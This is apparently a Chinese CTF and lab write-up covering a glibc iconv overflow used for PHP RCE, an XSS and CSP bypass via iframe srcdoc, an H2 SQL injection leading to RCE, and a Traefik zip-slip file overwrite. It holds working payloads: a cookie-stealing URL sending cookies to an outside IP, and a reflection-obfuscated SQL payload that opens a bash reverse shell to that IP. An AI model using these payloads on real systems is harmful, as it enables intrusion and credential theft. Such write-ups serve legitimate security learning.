n1junior
Gavatar
iconv:是php的内置函数,将字符串转换为请求的字符编码,iconv() 是一个国际标准转换应用程序命令行编程接口,它利用 Unicode 转换将各种字符编码转换为其他编码类型。
在GNU C库,也就是glibc中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,iconv函数在将字符串转换为ISO-2022-CN-EXT 字符集式,可能回事传递给他的输出缓冲区溢出最多4个字节,可能会导致应用程序崩溃或覆盖相邻变量,convert.iconv.X.Y 的过滤器也是将字符集从 X 转换为 Y,在linux上他的底层就是使用了glibc的iconv,
vulhub靶场实践

通过post传参file就可以任意文件读取

使用工具php-filter-iconv-main,我们需要读取两个文件/proc/self/maps和libc-2.x.so,我们通过前一个文件就可以知道是libc.s0.6


使用的是原作者给出的exploit
1 | 需要安装的依赖 |

访问后可以看到我们成功rce了

本地
本地环境搭建

注册用户进入profile页面


根据源码给upload传参,可以看到头像变成了透明的

在新标签页打开,就可以看到输出的内容

也就印证了存在我们所知的漏洞能够进行任意文件读取
使用的工具:https://github.com/kezibei/php-filter-iconv
由于需要读取的是/proc/self/maps和libc-2.x.so文件,所以我们用filter过滤器保证文件读出来的完整性

内容太大用代码解码
1 | <?php |

运行文件就会输出payload

访问1.php我们就会发现文件已经被写入了
成功rce
display
docker run -d -p 3000:3000 display
自我反思docker用得烂烂的,不知道为什么拉不下来,最后一直在改镜像源,我归结为学校里面的破烂网
补充一个之前一直没有注意到的细节, 容器内的服务会监听特定的端口,这个时候就不能是80,要根据运行的服务进行改动,不然打不开,搭容器给我卡疯了,破口大骂,离谱到前面都拉下来了RUN npm install搁那一直加载

见到它真的太不容易了X﹏X
xss同源策略绕过,innerHtml\inerText


也就是达到下面这个效果,同时可以看到flag,在cookie里面

这个是漏洞点,我们能够进行xss

其中sanitize是用于富文本防止xss攻击的一种安全过滤手段,能对script标签等进行过滤,白名单只允许h1和h2标签

这一段代码存在逻辑问题,也就是我们可以利用的漏洞点
innerText:这个属性主要用于获取或设置元素内部文本内容,不包括HTML标签,只返回纯文本, 如果 HTML 内容包含 <、> 等字符(例如 <div>),这些字符会被当作普通文本处理,而不是 HTML 元素 。
innerHtml: 获取或设置元素的 HTML 内容,包括 HTML 标签, 如果你将 HTML 编码后的内容赋给 innerHTML,它会被自动解析为 HTML 元素(例如 <div> 会变成一个 div 标签)。

所以当我们给一个HTML编码后的东西,就会被解析为HTML代码,实现绕过。
innerHtml里面的标签在插入后不会立即执行script标签,二十需要刷新一次,但是刷新后我们写入的内容又会失效,因此我们需要利用iframe标签
iframe:用于在网页内嵌另一个网页


运行后发现控制台弹出错误,继续去看源码

什么是CSP
CSP是一种网络安全机制,旨在减少或消除跨站脚本(XSS)和数据注入攻击
CSP的工作原理是通过浏览器读取网页服务器发送的Content-Security-Policy HTTP 头文件,然后根据其中的规则来决定是否允许加载某个资源。
CSP的规则主要包括:
默认源(default-src):指定默认的资源加载源,除非其他规则覆盖。
脚本源(script-src):控制可以加载和执行的 JavaScript 资源。
样式源(style-src):控制可以加载的 CSS 资源。
图片源(img-src):控制可以加载的图像资源。
字体源(font-src):控制可以加载的字体资源。
连接源(connect-src):控制可以发起的网络请求(例如 AJAX 请求)。
媒体源(media-src):控制可以加载的视频和音频资源。
框架源(frame-src):控制嵌入的 iframe 来源。
这些规则允许网站管理员细致地控制网页内容的来源,避免一些不受信任或恶意的外部资源被加载,从而提升网站的安全性。
简单来说就是仅允许同源加载


成功进行了弹窗,我们需要拿的东西在cookie里面尝试一下
<iframe srcdoc = "<script src='http://localhost:3000//%0Aalert(document.cookie)%0A//'></script>"></iframe>

我这边也是直接拿到了,但是案例来说是iframe标签页的cookie,所以应该是windows.parent.document.cookie
cookie外带
http://localhost:3000/?text=<iframe srcdoc='<script src="http://localhost:3000//%0Awindow.location.href=\http://198.23.148.51/\`+window.parent.document.cookie%0A//"></script>'></iframe>`base64编码即可


python3 -m http.server 80卡时间没出来就没试了
easydb
docker run -d -p 8000:8000 easydb
Java h2 SQL rce
运行jar xf EasyDB.jar得到BOOT-INF

UserController是一个登录路由,登录的逻辑在UserService.validateUser
在UserService.validateUser里可以看到username和password可控,由此就可以知道是SQL注入,然后还有一个SecurityUtils.check的过滤,ban掉了常用的一些东西

1 | CREATE ALIAS aa AS 'String fun() throws Exception{ //创建一个名为 aa 的别名 |
clazz.getMethod("getRunt" + "ime") 通过反射机制获取 Runtime 类中的 getRuntime() 方法。
clazz.getMethod() 接受一个方法名("getRuntime")作为参数,返回一个 Method 对象。通过这个 Method 对象,可以调用对应的方法。
getDeclaredMethod() 是 Class 类提供的一个方法,用来获取一个类的指定方法。这个方法可以获取类中所有的方法(包括私有方法)
payload:1';CREATE ALIAS aa AS 'String fun() throws Exception{ String[] cmds = new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/198.23.148.51/777 <&1"}; Class clazz = Class.forName("java.lang.Runt" + "ime"); Object run = clazz.getMethod("getRunt" + "ime").invoke(null); clazz.getDeclaredMethod("ex" + "ec", String[].class).invoke(run, (Object) cmds); return "ok"; }';CALL aa();--+

成功反弹shell,进行rce即可,flag本身为空,所以没有内容。
traefik
容器创建好后直接访问,会发现是404,通过查看traefik.yml文件,可以发现traefik做了代理providers.file 使得服务是通过读取 /app/.config/dynamic.yml 文件来动态加载配置 ,只允许 /public/index和/public/upload 的访问
而我们去查看dynamic.yml可以发现文件时动态生成的,可以考虑进行文件覆盖,实现访问/flag
main.go文件

这里提供了一个解压功能,是典型的zipslip
构造恶意zip包实现目录穿越和文件覆盖
1 | import zipfile |
1 | # Dynamic configuration |
运行代码得到一个压缩包,访问/public/index,然后将压缩包上传后就实现了文件覆盖,直接访问/flag即可得到flag


后台也可以看到成功覆盖了
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/gq4l6msrrc9sh7ql
语雀文档ID: 207538752